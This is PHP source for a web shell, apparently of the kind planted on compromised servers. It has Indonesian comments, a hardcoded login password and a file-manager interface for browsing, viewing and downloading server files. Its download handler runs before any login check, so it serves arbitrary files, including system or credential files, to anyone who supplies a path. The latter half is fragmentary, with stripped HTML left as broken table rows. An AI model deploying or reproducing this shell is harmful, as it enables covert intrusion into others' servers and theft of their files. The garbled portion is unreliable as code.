// ==================== SESSION FIX - TAMBAHKAN DI AWAL ====================if (session_status() == PHP_SESSION_NONE) { session_start();}// ==================== HANDLE DOWNLOAD & VIEW ====================if(isset($_GET['action']) && ($_GET['action'] == 'download' || $_GET['action'] == 'view') && isset($_GET['file'])) { $file_path = $_GET['file']; // Security check - hanya allow file yang ada dan readable if(file_exists($file_path) && is_file($file_path) && is_readable($file_path)) { if($_GET['action'] == 'download') { // DOWNLOAD FILE $file_name = basename($file_path); $file_size = filesize($file_path); $mime_type = mime_content_type($file_path); // Headers untuk download header('Content-Description: File Transfer'); header('Content-Type: ' . $mime_type); header('Content-Disposition: attachment; filename="' . $file_name . '"'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . $file_size); // Clear output buffer if (ob_get_level()) { ob_end_clean(); } readfile($file_path); exit; } elseif($_GET['action'] == 'view') { // VIEW FILE - akan ditangani di showFileManager() // Biarkan melanjutkan ke tampilan normal } }}// ==================== CONFIGURASI ====================error_reporting(0);ini_set('display_errors', 0);$password = "Zero2319";// ==================== CEK LOGIN ====================if(isset($_POST['pass'])) { if($_POST['pass'] === $password) { $_SESSION['shell_logged_in'] = true; $_SESSION['shell_login_time'] = time(); header('Location: ?'); exit; } else { echo "<script>alert('Wrong password!');</script>"; }}if(isset($_GET['logout'])) { session_destroy(); header('Location: ?'); exit;}// Cek status login dari SESSION$logged_in = isset($_SESSION['shell_logged_in']) && $_SESSION['shell_logged_in'] === true;// ==================== TAMPILKAN INTERFACE ====================<!DOCTYPE html>
| <strong>$key</strong> | " . htmlspecialchars($value) . " |
| <strong>Disk Usage</strong> | "; echo "Total: " . formatBytes($total) . " | "; echo "Used: " . formatBytes($used) . " | "; echo "Free: " . formatBytes($free) . " | "; echo "($percent% used)"; echo " |
| "; if($is_dir) { echo "๐ <a href='?action=files&path=" . urlencode($fullpath) . "'>" . htmlspecialchars($item) . "</a>"; } else { echo "๐ " . htmlspecialchars($item); } echo " | "; // Size echo ""; if(!$is_dir) { $size = filesize($fullpath); echo $size !== false ? formatBytes($size) : 'Unknown'; } else { echo "DIR"; } echo " | "; // Permissions echo ""; $perms = fileperms($fullpath); echo $perms !== false ? substr(sprintf('%o', $perms), -4) : '????'; echo " | "; // Actions echo ""; if(!$is_dir) { echo "<a href='?action=view&file=" . urlencode($fullpath) . "'>๐๏ธ View</a> "; echo "<a href='?action=download&file=" . urlencode($fullpath) . "'>๐ฅ Download</a>"; } else { echo "<a href='?action=files&path=" . urlencode($fullpath) . "'>๐ Open</a>"; } echo " | "; echo "